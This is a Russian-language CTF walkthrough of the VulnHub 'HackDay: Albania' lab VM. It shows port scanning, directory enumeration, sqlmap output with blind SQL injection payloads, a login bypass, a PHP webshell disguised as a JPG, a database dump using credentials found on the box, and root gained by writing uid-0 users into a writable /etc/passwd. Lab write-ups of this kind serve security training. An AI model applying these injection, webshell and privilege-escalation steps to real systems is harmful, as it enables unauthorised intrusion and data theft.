VulnHub Разбор HackDay: Albania
This was used in HackDay Albania’s 2016 CTF.
The level is beginner to intermediate.
It uses DHCP.
Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.
Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно.
Начнём
Запускаем скачанный образ в VirtualBox, и после загрузки nmap’ом ищем открытые порты:
sudo nmap 192.168.1.1-255 -sV
Starting Nmap 7.01 (nmap.org) at 2016–12–18 00:03 MSK
Nmap scan report for 192.168.1.44
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o: linux: linux_kernel
Переходим по 192.168.1.44:8008 видим всплывающее окно
И коммент в коде страницы:
OK ok, por jo ketu:)
Посмотрим содержимое файла robots.txt
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/
Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html, с вот такой картинкой:
background.jpg
Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch.
Запускаем:
sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt
После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg
После перехода в эту директорию в браузере видим такой ответ:
IS there any /vulnbank/ in there???
Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации:
Проверяем наличие sql инъекций:
sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3
И получаем ответ:
sqlmap resumed the following injection point (s) from stored session:
— Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin' RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0×61646d696e ELSE 0×28 END))-- pSKE&password=adminType: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: username=admin' RLIKE SLEEP (5)-- DBgy&password=admin
Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users.
Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP (5)-- DBgy&password=admin
И нас неожиданно редиректит в профиль какого-то пользователя:
Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение:
After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc…
Ок, создаём файл
Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке:
192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/view_file.php? filename=shell.jpg&cmd=id.
Но вместо заветного шела получаем сообщение:
Warning: system (): Unable to fork [id] in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpg on line 1
Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды.
Запускаем BurpSuite и настраиваем там правило:
P.S. без него BurpSuite каждый раз будет к запросу view_file.php? filename=myShell.jpg добавлять ? filename=myShell.jpg что приведёт к ошибкам.
Запускаем наш шелл, и переименовываем файл upload/myShell.jpg в upload/myShell.php.
Больше BurpSuite нам не понадобится. теперь шелл у нас доступен по адресу: 192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/upload/myShell.php
Можем вытянуть из БД клиентов и их пароли:
function execute_query($sql){
$db_host = "127.0.0.1";
$db_name = "bank_database";
$db_user = "root";
$db_password = "NuCiGoGo321";
$con=mysqli_connect($db_host,$db_user,$db_password,$db_name);
if(mysqli_connect_errno()){
echo "Failed to connect to MySQL: " . mysqli_connect_error();
die(0);
}
$response = mysqli_query($con,$sql);
mysqli_close($con);
return $response;
}
$result = execute_query("SELECT * FROM klienti;");
while($row = $result->fetch_assoc()) { print_r($row); }
Просматривая файлы и директории обнаруживаем такую запись:
passwd 1.58 KB root: root -rw-r--rw- 22-Oct-2016 17:21:42
Отлично, мы можем создать пользователя. Создаём свой хеш пароля admin:
openssl passwd -1 -salt xyz admin
Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись
gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash
admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash
P.S. Добавляем двух пользователей, потому что коннект по ssh от рута у нас не был доступен. Можно было добавить только рута, и все остальные действия делать залогинившись в виртуалке, но мне удобнее ssh.
Коннектимся по ssh под пользователем gh0st3rs, далее выполняем команду
su admin
И после ввода пароля, получаем root привилегии на этой виртуальной машине
Дело за малым, осталось найти флаг.
root@hackday:/# find / -name "*flag*"
root@hackday:/# cat /root/flag.txt
Urime,
Tani nis raportin!
d5ed38fdbf28bc4e58be142cf5a17cf5
root@hackday:/#
P.S. После расшифровки, узнаём что флаг это md5 от rio